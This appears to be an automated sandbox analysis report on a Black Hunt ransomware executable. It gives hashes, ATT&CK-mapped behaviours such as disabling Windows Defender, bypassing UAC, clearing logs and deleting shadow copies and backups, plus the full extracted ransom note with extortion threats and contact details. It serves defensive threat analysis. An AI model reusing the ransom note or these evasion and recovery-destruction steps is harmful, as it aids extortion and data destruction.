ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580

Analysis

max time kernel
117s
max time network
121s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
19/01/2024, 00:32

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
Size

707KB
MD5

be49cc42ccd77831071881773053ebf2
SHA1

6a3564895676d8e89a273d7802934ee427f2535d
SHA256

ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580
SHA512

38de3da1c32da5dae2ac1e7767a416a3bf2efb6ce44cf13d659fbeb6d64799ac76c233ceded9b5ac36e1680b013b15c5b1c7db95f8ae7bd1d6e99b11a17c718b
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1n8Vvnh:6uaTmkZJ+naie5OTamgEoKxLWGRh

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> MzryXSdQlIe4rEVf </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
3936	fsutil.exe
3736	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
3712	wevtutil.exe
3716	wevtutil.exe
3248	wevtutil.exe
2704	wevtutil.exe
2564	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
1712	bcdedit.exe
3916	bcdedit.exe
3420	bcdedit.exe
3628	bcdedit.exe

Renames multiple (2881) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2612	wbadmin.exe
3020	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
2680	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\O:	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File opened (read-only)	\??\A:	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File opened (read-only)	\??\Q:	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File opened (read-only)	\??\K:	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File opened (read-only)	\??\V:	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\I:	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\X:	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File opened (read-only)	\??\T:	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File opened (read-only)	\??\Y:	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\W:	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File opened (read-only)	\??\Z:	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File opened (read-only)	\??\H:	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File opened (read-only)	\??\R:	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File opened (read-only)	\??\U:	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File opened (read-only)	\??\S:	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File opened (read-only)	\??\J:	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File opened (read-only)	\??\E:	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File opened (read-only)	\??\G:	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File opened (read-only)	\??\L:	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File opened (read-only)	\??\B:	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File opened (read-only)	\??\N:	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File opened (read-only)	\??\M:	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File opened (read-only)	\??\P:	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3601492379-692465709-652514833-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Juneau	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File created	C:\Program Files\VideoLAN\VLC\locale\es\#BlackHunt_Private.key	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File created	C:\Program Files\VideoLAN\VLC\locale\gu\#BlackHunt_ReadMe.txt	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\meta_engine\#BlackHunt_ReadMe.txt	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\rectangle_photo_Thumbnail.bmp	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Antarctica\Davis	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\SystemV\CST6CDT	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.reconciler.dropins.nl_zh_4.4.0.v20140623020002.jar	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File created	C:\Program Files\Java\jre7\lib\security\#BlackHunt_Private.key	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File created	C:\Program Files\VideoLAN\VLC\locale\eu\LC_MESSAGES\#BlackHunt_ReadMe.hta	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File created	C:\Program Files\VideoLAN\VLC\locale\lv\#BlackHunt_ReadMe.txt	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-core-kit_zh_CN.jar	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File created	C:\Program Files\Java\jdk1.7.0_80\db\#BlackHunt_ReadMe.txt	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.jsp.jasper_1.0.400.v20130327-1442.jar	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File created	C:\Program Files\VideoLAN\VLC\locale\cs\#BlackHunt_ReadMe.hta	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\COPYING.txt	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\profileRegistry\JMC.profile\#BlackHunt_ReadMe.txt	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\dropins\README.TXT	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-util-enumerations_ja.jar	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File created	C:\Program Files\Java\jre7\lib\zi\Pacific\#BlackHunt_ReadMe.hta	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File opened for modification	C:\Program Files\Java\jre7\lib\fonts\LucidaBrightRegular.ttf	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Costa_Rica	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Anadyr	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroForm\PMP\DataMatrix.pmp	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
